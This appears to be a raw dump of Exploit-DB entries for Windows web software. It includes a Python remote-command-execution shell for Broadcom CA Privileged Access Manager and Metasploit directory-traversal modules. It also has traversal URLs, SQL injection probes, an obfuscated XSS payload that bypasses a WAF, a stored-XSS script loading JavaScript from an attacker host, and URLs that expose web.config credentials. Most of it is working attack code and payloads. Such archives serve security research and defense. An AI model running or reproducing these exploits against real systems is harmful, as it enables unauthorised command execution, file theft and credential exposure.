deardaniel/secdata-raw huggingface dataset:
Exploit-DB #47748
Description: Broadcom CA Privilged Access Manager 2.8.2 - Remote Command Execution
Type: webapps
Platform: windows
Date: 2019-12-05
Author: Peter Lapp

Exploit:
# Title: Broadcom CA Privilged Access Manager 2.8.2 - Remote Command Execution
# Author: Peter Lapp
# Date: 2019-12-05
# Vendor: https://techdocs.broadcom.com/us/product-content/recommended-reading/security-notices/ca20180614-01--security-notice-for-ca-privileged-access-manager.html
# CVE: CVE-2018-9021 and CVE-2018-9022
# Tested on: v2.8.2

import urllib2
import urllib
import ssl
import sys
import json
import base64


ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE


def send_command(ip, cmd):
    cmd = urllib.quote_plus(cmd)
    url = 'https://'+ip+'/ajax_cmd.php?cmd=AD_IMPORT&command=add&groupId=123&importID=|'+cmd+'+2>%261||&deviceMode=test'
    request = urllib2.Request(url, None)
    response = urllib2.urlopen(request, context=ctx)
    result = json.load(response)
    return result['responseData']

def get_db_value():
    cmd = "echo select value from configuration_f where name = 'ssl_vpn_network' | mysql -u root uag"
    db_value = send_command(ip,cmd)
    db_value = db_value.split('\n')[1]
    return db_value
    
def encode_payload(cmd):
    sql_string = "update configuration_f set value='\\';"+cmd+" > /tmp/output;\\'' where name='ssl_vpn_network'"
    cmd = "echo "+base64.b64encode(sql_string)+" | base64 -d | mysql -u root uag "
    return cmd
    
def restore_sql(value):
    sql_string = "update configuration_f set value='"+value+"' where name='ssl_vpn_network'"
    cmd = "echo "+base64.b64encode(sql_string)+" | base64 -d | mysql -u root uag "
    send_command(ip,cmd)
    
def main():
    print '''Xceedium Command Execution PoC by Peter Lapp(lappsec)'''
	
    if len(sys.argv) != 2:
        print "Usage: xceedium_rce.py <target ip>"
        sys.exit()

    global ip
    ip = sys.argv[1]
    print 'Enter commands below. Type exit to quit'
	
    while True:
        cmd = raw_input('# ')
        if cmd == "exit":
            sys.exit()
        orig_value = get_db_value()
        payload = encode_payload(cmd)
        send_command(ip, payload)
        send_command(ip, 'echo -e openvpn\\n | ncat --send-only 127.0.0.1 2210')
        output = send_command(ip, 'cat /tmp/output')
        print output
        restore_sql(orig_value)
	


if __name__ == "__main__":
    main()
Exploit-DB #42707
Description: Carel PlantVisor 2.4.4 - Directory Traversal
Type: webapps
Platform: windows
Date: 2011-09-13
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  Carel PlantVisor
              http://www.carel.com/carelcom/web/eng/catalogo/prodotto_dett.jsp?id_prodotto=310
Versions:     <= 2.4.4
Platforms:    Windows
Bug:          directory traversal
Exploitation: remote
Date:         13 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's homepage:
"PlantVisor Enhanced is monitoring and telemaintenance software for
refrigeration and air-conditioning systems controlled by CAREL
instruments."


#######################################################################

======
2) Bug
======


CarelDataServer.exe is a web server listening on port 80.

The software is affected by a directory traversal vulnerability that
allows to download the files located on the disk where it's installed.
Both slash and backslash and their HTTP encoded values are supported.


#######################################################################

===========
3) The Code
===========


http://SERVER/..\..\..\..\..\..\boot.ini
http://SERVER/../../../../../../boot.ini
http://SERVER/..%5c..%5c..%5c..%5c..%5c..%5cboot.ini
http://SERVER/..%2f..%2f..%2f..%2f..%2f..%2fboot.ini


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #42706
Description: Carel PlantVisor 2.4.4 - Directory Traversal Information Disclosure (Metasploit)
Type: webapps
Platform: windows
Date: 2017-09-13
Author: James Fitts

Exploit:
require 'msf/core'

class MetasploitModule < Msf::Auxiliary
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Carel Pl@ntVisor Directory Traversal',
			'Description'    => %q{
				This module exploits a directory traversal vulnerability
				found in Carel Pl@ntVisor <= 2.4.4. The vulnerability is
				triggered by sending a specially crafted GET request to the
				victim server.
			},
			'Author'         => [ 'james fitts' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2011-3487' ],
					[ 'BID', '49601' ],
				],
			'DisclosureDate' => 'Jun 29 2012'))

		register_options(
			[
				OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 10]),
				OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),
				Opt::RPORT(80)
			], self.class )
	end

	def run

	depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
	levels = "/" + ("..%5c" * depth)

	res = send_request_raw({
		'method'	=> 'GET',
		'uri'		=> "#{levels}#{datastore['FILE']}",
	})

	if res and res.code == 200
		loot = res.body
		if not loot or loot.empty?
			print_status("File from #{rhost}:#{rport} is empty...")
			return
		end
		file = ::File.basename(datastore['FILE'])
		path = store_loot('plantvisor.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])
		print_status("Stored #{datastore['FILE']} to #{path}")
		return
	end

	end
end
Exploit-DB #42705
Description: Carlo Gavazzi Powersoft 2.1.1.1 - Directory Traversal File Disclosure (Metasploit)
Type: webapps
Platform: windows
Date: 2017-09-13
Author: James Fitts

Exploit:
require 'msf/core'

class MetasploitModule < Msf::Auxiliary
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Carlo Gavazzi Powersoft Directory Traversal',
			'Description'    => %q{
				This module exploits a directory traversal vulnerability
				found in Carlo Gavazzi Powersoft <= 2.1.1.1. The vulnerability
				is triggered when sending a specially crafted GET request to the
				server. The location parameter of the GET request is not sanitized
				and the sendCommand.php script will automatically pull down any
				file requested
			},
			'Author'         => [ 'james fitts' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'URL', 'http://gleg.net/agora_scada_upd.shtml']
				],
			'DisclosureDate' => 'Jan 21 2015'))

		register_options(
			[
				OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 8]),
				OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),
				OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']),
				OptString.new('PASSWORD', [ true, 'Password to authenticate with', 'admin']),
				Opt::RPORT(80)
			], self.class )
	end

	def run

	require 'base64'

	credentials = Base64.encode64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}")

	depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
	levels = "/" + ("../" * depth)

	res = send_request_raw({
		'method'	=> 'GET',
		'uri'		=> "#{levels}#{datastore['FILE']}?res=&valid=true",
		'headers'	=>	{
			'Authorization'	=>	"Basic #{credentials}"
		},
	})

	if res and res.code == 200
		loot = res.body
		if not loot or loot.empty?
			print_status("File from #{rhost}:#{rport} is empty...")
			return
		end
		file = ::File.basename(datastore['FILE'])
		path = store_loot('carlo.gavazzi.powersoft.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])
		print_status("Stored #{datastore['FILE']} to #{path}")
		return
	end

	end
end
Exploit-DB #9873
Description: Cherokee 0.5.4 - Directory Traversal
Type: webapps
Platform: windows
Date: 2009-10-28
Author: Dr_IDE

Exploit:
############################################################
#
# Cherokee Web Server <= 0.5.4 Directory Traversal Exploit
# Found By:	Dr_IDE
# Tested On:	Windows XPSP3
# Download:	www.cherokee-project.com/download/windows
#
############################################################

- Description -

Cherokee Web Server <= 0.5.4 is a Windows based HTTP server. This is the latest
version of the application available.

Cherokee Web Server <= 0.5.4 is vulnerable to remote directory traversal attack by the
following means. 

Default webroot is C:\Program Files\Cherokee\www [3 levels deep] adjust accordingly.

- Technical Details -
http://[webserver IP]/[\../]

http://172.16.2.101/\../\../\../boot.ini
http://172.16.2.101/\../\../\../WINDOWS\SYSTEM32 		<- Full Directory Listings through Browser
http://172.16.2.101/\../\../\../WINDOWS\SYSTEM32\calc.exe	<- File access in context of web browser instance

#[pocoftheday.blogspot.com]
Exploit-DB #17840
Description: Cogent DataHub 7.1.1.63 - Source Disclosure
Type: webapps
Platform: windows
Date: 2011-09-14
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  Cogent DataHub
              http://www.cogentdatahub.com/Products/Cogent_DataHub.html
Versions:     <= 7.1.1.63
Platforms:    Windows
Bug:          source disclosure
Exploitation: remote
Date:         13 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


DataHub is a software for the SCADA and automation sector.


#######################################################################

======
2) Bug
======


The server/service listens on port 80 using a custom web server.

Through the appending of the following chars it's possible to view the
content of the server-side scripts on the server:

  +
  %20
  %2e

This vulnerability is useful when the server hosts customized scripts
which seems a feature of the software:
http://www.cogentdatahub.com/Features/DataHub_Web_ASP.html


#######################################################################

===========
3) The Code
===========


http://SERVER/index.asp+
http://SERVER/index.asp%20
http://SERVER/index.asp%2e


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #14933
Description: ColdBookmarks 1.22 - SQL Injection
Type: webapps
Platform: windows
Date: 2010-09-07
Author: mr_me

Exploit:
# ColdGen - coldbookmarks v1.22 Remote 0day SQL Injection vulnerability
# Vendor: http://www.coldgen.com/
# Found by: mr_me (net-ninja.net)

PoC
http://[target]/[path]/index.cfm?fuseaction=EditBookmark&BookmarkID=[SQLi]&CFID=XXXXXX&CFTOKEN=XXXXXXXX
Exploit-DB #14934
Description: ColdOfficeView 2.04 - Multiple Blind SQL Injections
Type: webapps
Platform: windows
Date: 2010-09-07
Author: mr_me

Exploit:
# ColdGen - coldofficeview v2.04 Remote Blind SQL Injection vulnerabilities
# Vendor: http://www.coldgen.com/
# Found by: mr_me (net-ninja.net)

PoC's
1. http://[target]/[path]/index.cfm?fuseaction=ViewEventDetails&EventID=[Blind SQLi]
http://[target]/[path]/index.cfm?fuseaction=ViewEventDetails&EventID=1 and 1=1 << true
http://[target]/[path]/index.cfm?fuseaction=ViewEventDetails&EventID=1 and 1=2 << false

2. http://[target]/[path]/index.cfm?fuseaction=EditProfile&UserID=[Blind SQLi]
http://[target]/[path]/index.cfm?fuseaction=EditProfile&UserID=1 and 1=1 << true
http://[target]/[path]/index.cfm?fuseaction=EditProfile&UserID=1 and 1=2 << false
Exploit-DB #20545
Description: Cyclope Employee Surveillance Solution 6.0 6.1.0 6.2.0 - Multiple Vulnerabilities
Type: webapps
Platform: windows
Date: 2012-08-15
Author: loneferret

Exploit:
# Author: loneferret of Offensive Security
# Product: Cyclope Employee Surveillance Solution v6.0
# Version: 6.1.0 & 6.2.0
# Vendor Site: http://www.cyclope-series.com/
# Software Download: http://www.cyclope-series.com/download/index.html

# Software description:
# The employee monitoring software developed by Cyclope-Series is specially designed to inform
# and equip management with statistics relating to the productivity of staff within their organization.

# Vulnerability PoC 1:
# Local File Include
#
# Requirements: Employee access
# PoC:
# http://172.16.194.134:7879/help.php?pag=../../../../../../boot.ini%00

# Vulnerability PoC 2:
# SQL Injection
# Requirements: Employee access
#
# http://172.16.194.134:7879/index.php?pag=myaccount
# -Fields affected in form:
# -First Name
# -Last Name
# -Password / Re-Type Password
# -Email
# -mid
# Poc:
# mid=15&act=member-account&pag=myaccount&first_name=john&last_name=Doe&[CREDENTIAL_REDACTED]=123456&email='
# mid=15'&act=member-account&pag=myaccount&first_name=john&last_name=Doe&[CREDENTIAL_REDACTED]=123456&email=
# and so on...

# Vulnerability PoC 3:
# Change Admin account's password.
# Requirements: Employee access
# http://172.16.194.134:7879/index.php?pag=myaccount
#
# Using a tool such as Tamper Data or Live HTTP Headers, change the value
# of 'mid' to 1
# PoC:
# Post Data: mid=1&act=member-account&pag=myaccount&first_name=john&last_name=Doe&[CREDENTIAL_REDACTED]=123456&email=
Exploit-DB #18013
Description: Cyclope Internet Filtering Proxy 4.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: windows
Date: 2011-10-20
Author: loneferret

Exploit:
#!/usr/bin/python

# Title: Cyclope Internet Filtering Proxy 4.0 - Stored XSS Vuln.
# From: The eh?-Team || The Great White Fuzz (we're not sure yet)
# Found by: loneferret
# Software link: http://www.cyclope-series.com/download/index.aspx?p=2
 
# Date Found: Oct 20th 2011
# Tested on: Windows XP SP3 Professional / Windows Server 2008 R2 Standard
# Tested with: Registered and Unregistered versions
# Nod to the Exploit-DB Team
  
# The Cyclope Internet Filtering Proxy is your basic white & black list website navigation filtering app.
# It will log all of the client's activities such as visited web sites, the time etc.
# There's an optional client application if the administrator wishes to acquire the computer name and user
# information.

# This XSS vulnerability is due to the fact that nothing is sanitized in the web-based management console.
# The whitelist and blacklist patterns, for example, are vulnerable. As well as computer name and user fields 
# gathered via the logging port.
# This PoC takes advantage of the "user" field (but also works with computer feild). One needs to send in the correct order:
# <user>USER</user><computer>COMPUTER</computer><ip>IP ADDY</ip>\n to the default log port 8585.
# None of these fileds are sanitized. So it's making this XSS a bit more interesing. 
# Atacking machine doesn't need the Cyclope client app installed.
# Limited in what can be sent, a space will screw up any code you send. The HTML code &nbsp; will usually fix that problem,
# as well as all the other HTML codes for quotes and so on.
# So we can remotely inserted our evil XSS, and have it executed when the administrator looks over the logs.

# As always, if anyone wants to take this PoC to the next level, be my guest.
# Have fun,
# loneferret

import struct
import socket

# Remember to enter a webserver with a js file
buffer = "<user><SCRIPT/SRC=http://xxx.xxx.xxx.xxx/xss.js></SCRIPT></user><computer>Windows</computer><ip>2.2.2.2</ip>\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "\nSending evil buffer..."
s.connect(('xxx.xxx.xxx.xxx',8585)) #Enter Cyclope server IP address
s.send(buffer)
s.close()
print "\nDone! "
Exploit-DB #10514
Description: dblog - 'dblog.mdb' Remote Database Disclosure
Type: webapps
Platform: windows
Date: 2009-12-17
Author: AnTi SeCuRe

Exploit:
---------------------------------------
dblog (dblog.mdb) Remote Database Disclosure Vulnerability
---------------------------------------

#####################################################
# [+] Author : AnTi SeCuRe #
# [+] Email : AnTi-SeCuRe@HoTMaiL.coM #
# [+] Site : www.vxx9.cc #
# [+] Team : SauDi ViRuS TeaM #
# [+] Script : dblog #
#####################################################




[+] download : http://www.dblog.it/sito/download.asp



vuln. in :

http://localhost/path/mdb-database/dblog.mdb


Thanks to : Allah ..


Greets : RENO , Dr.php , Jetli007 , ! BaD BoY ! and All Vxx9.Cc Members
Exploit-DB #39486
Description: Dell OpenManage Server Administrator 8.2 - (Authenticated) Directory Traversal
Type: webapps
Platform: windows
Date: 2016-02-23
Author: hantwister

Exploit:
# Exploit Title: Dell OpenManage Server Administrator 8.2 Authenticated
Directory Traversal
# Date: February 22, 2016
# Exploit Author: hantwister
# Vendor Homepage: http://www.dell.com/
# Software Link:
http://www.dell.com/support/contents/us/en/19/article/Product-Support/Self-support-Knowledgebase/enterprise-resource-center/Enterprise-Tools/OMSA
# Version: 8.2
# Tested on: Windows 7 x64

When authenticated as an admin, make the following adjustments to the URL
below:

1) Substitute "<IP>" for the target;
2) Substitute "Windows\WindowsUpdate.log" for the desired file;
3) Substitute the value of the vid parameter and the folder name preceding
"/ViewFile" with the vid parameter from your current session.

https://
<IP>:1311/[PII_REDACTED]ABCDEF/ViewFile?path=\temp&file=hello\..\..\..\..\..\..\..\..\Windows\WindowsUpdate.log&vid=[PII_REDACTED]ABCDEF

In the file parameter, "hello" can be changed to any other name; the folder
need not exist. However, the file parameter must not start with a common
file path separator, nor a dot character.

The path parameter should not be changed; the provided value is essential
to bypassing a security control.
Exploit-DB #14355
Description: dotDefender 4.02 - Authentication Bypass
Type: webapps
Platform: windows
Date: 2010-07-13
Author: David K

Exploit:
dotDefender is prone to a XSS because it doesn't satinate the input vars
correctly. Injecting obfusctated JavaScript code based on references vars
assignment, the dotDefender WAF is vulnerable.

Class: Input Validation Error
Remote: Yes
Credit: David K. (SH4V)
Vulnerable: till 4.02

Exploit:

<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/0wn3d/
.source
)" /> //POST

<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v%2Ba%2Be%2Bs](e%2Bs%2Bv%2B
h%2Bn)(
/0wn3d/.source)" /> //GET

EXAMPLES:

Blocked:
[victim]/search?q=%3Cimg%20src=%22WTF%22%20onError=%22{var%20{3:s,2:h,5:
a,0:v,4:n,1:e}
=%27earltv%27}[self][0][v%2Ba%2Be%2Bs]%28e%2Bs%2Bv%2Bh%2Bn%29%28/0wn3d/.
source%
29%22%20/%3E

Unblocked:
[victim]/search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)
%20/%3E

More information here:
http://n3t-datagrams.net/docs/?/=21
Exploit-DB #44414
Description: DotNetNuke DNNarticle Module 11 - Directory Traversal
Type: webapps
Platform: windows
Date: 2018-04-06
Author: Esmaeil Rahimian

Exploit:
 ##############################

01. ### Advisory Information ###
Title: Directory Traversal Vulnerability in DNNarticle module
Date published: n/a
Date of last update: n/a
Vendors contacted: zldnn.com
Discovered by: Esmaeil Rahimian
Severity: Critical

02. ### Vulnerability Information ###

OVE-ID: CVE-2018-9126.

03. ### Introduction ###

DNN Article is not only a powerful module to enable post and manage
articles, but also provides total solutions for content management. Content
such as articles, news, announcements, product catalogs, etc can be
organized into unlimited levels of categories. New content can be moderated
before published. The administrator can assign roles as moderator. Also an
email can be sent when new content is added. Visitors can make comment and
rating. They can also agree or disagree an article.  The product supports
common features of DotNetNuke module such as localization, portable
interface, search, Syndication etc. It can integrate with Twitter,
Facebook, Google Map, Windows Live Writer and DotNetNuke Journal to provide
more powerful functions for your portals.   DNNArticle is an extendable
system. There are several sub modules shipped with DNNArticle standard
edition to provide rich and attractive look and feel experiences. There are
also several optional sub modules that provide more features. And the
number of optional sub modules is growing continually. There are also
several applications based on DNNArticle such as DNNArticle Blog and
DNNArticle Product. DNNArticle fully supports template and CSS theme. This
feature provides more flexibility for users to build more attractive user
interface.

zldnn.com

04. ### Vulnerability Description ###

The DNNArticle module 11 for DNN (formerly DotNetNuke) allows remote
attackers to read the web.config file, and consequently
discover database credentials, via the /GetCSS.ashx/?CP=%2fweb.config URI.


05. ### Technical Description / Proof of Concept Code ###
desktopmodules/DNNArticle/GetCSS.ashx/?CP=%2fweb.config&smid=512&portalid=3
with this link the attacker can see the web.config file and find DB name
and see the user name and passwords of DB

06. ###  Affected Product Code Base ###
DnnArticle Module for DotNet Nuke - 11
Affected Component:
DNNArticle Module
[Attack Type]
Remote
[Impact Information Disclosure]
True
[Attack Vectors]
Attacker can see the web.config file that contain critical information
06. ### Credits ###

SecureHost[Research Team] - www.securehost.co

This vulnerability has been discovered by:
Esmaeil Rahimian - [www.securehost.co] - Rahimian(at)SecureHost(dot)co